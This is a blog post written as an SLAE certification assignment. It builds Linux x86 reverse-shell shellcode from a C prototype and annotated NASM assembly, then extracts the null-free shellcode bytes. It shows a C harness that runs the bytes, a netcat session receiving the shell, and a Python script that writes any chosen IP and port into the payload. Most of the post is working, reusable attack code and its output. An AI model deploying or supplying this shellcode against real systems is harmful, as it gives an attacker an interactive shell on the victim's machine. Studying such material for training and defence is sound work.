Linux/x86 Reverse Shell shellcode

Hi All! Today we will look at how to implement a simple reverse shell in assembly language .

Main objective :

Create a shell_Reverse_TCP shellcode .Reverse connects back to provided IP and port .  Port and IP should be easily configurable.

I have explained how to call syscalls in assembly language in previous implementation of bind shell. Perhaps, this will be a bit easier task , as the operations involved will be less than for bind shell and many of the previous code can be reused. previous article can be found here .

So lets begin !

lets split out the operations that are to be done for creation of a reverse TCP shell program.

  1. Create a socket
  2. Connect back to the reverse listening host:port with the socket.
  3. redirect the standard input,output and error to connected socket.
  4. call execve to spawn a simple shell which finally results in reverse shell .

Lets create a simple c program to implement these operations and use the same to map :

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	//create a socket
	int sock = socket(AF_INET, SOCK_STREAM, 0);

	
	struct sockaddr_in client_addr;
  client_addr.sin_family = AF_INET;
	
	//set port
	client_addr.sin_port = htons(4444);

	//set IP address to connect we use 127.1.1.1 because we do not want null in our IP
	client_addr.sin_addr.s_addr = inet_addr("127.1.1.1");
	
	
	//connects using the created sock to the properties set at client_addr
	connect(sock, (struct sockaddr *)&client_addr, sizeof(client_addr));
		
	//redirect std input,output and error to created socket
	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	// spawn a shell
	execve("/bin/sh", NULL, NULL);

}

As specified from the steps ,code for creation of the socket remains the same. we make use of socketcall syscall with socket argument to achieve this operation.

        xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax
int connect(int sockfd, const struct sockaddr *addr,
                   socklen_t addrlen);

So in the next step, we can make use of Socketcall syscall with SYS_CONNECT to implement connect call. (value : 3 from net.h)

eax will contain syscall number for socketcall . ebx will contain value 3 and finally ecx contains a pointer to actual arguments to connect.

        ;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt

To push the IP we first convert the internet address to network order address and finally push it in reverse order.everything else is same as in previous post. make sure our IP address should not contain a null byte.

Now redirection of standard input , output and error can be done utilizing dup2 syscall.

;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

Finally we can spawn a shell utilizing execve syscall to call /bin/sh .

; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

 

Complete Assembly code :

global _start
 
section .text
 
_start:

	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt 


	;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

	; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

 

Finally lets compile and extract shellcode and make sure it does not contain any NULL bytes.

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./compile.sh revv
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ objdump -d ./revv|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

 

Now lets update our C template program ,compile and execute. ( netcat listener should be on port 4444  before execution.) netcat -nlvp 4444

#include<stdio.h>
#include<string.h>


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";




main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	 
	int (*ret)() = (int(*)())code;

	ret();

}

 

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./shellcode
Shellcode Length:  78

On our listener :

slae@ubuntu:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57640)
whoami
slae
id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

WootWoot a reverse shell 😀 so our first part is done. now we have to make our port and IP configurable to a custom value. here is a simple python script to do the same .

#!/usr/bin/env python3
import sys
import struct
import socket


port = int(sys.argv[2])
IP = sys.argv[1]

if port > 65535 :
    print("port cannot exceed 65535")
    exit()


port = struct.pack("!H", port)

port = ("{}".format(''.join('\x{:02x}'.format(b) for b in port)))

if "\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

ip_final = socket.inet_aton(IP)
ip_final = str(ip_final) 
ip_final = ip_final[2:]
ip_final = ip_final[:-1]


if "\x00" in ip_final:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()    

finalshellcode = """\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68%s\x66\x68%s\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80""" % (ip_final,port)


print("shellcode : ",finalshellcode)

 

We can run this using :

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./custom.py 127.1.1.1 1234
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

we can replace this shellcode in our c template program and run to get the reverse shell for custom IP address and port value.

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367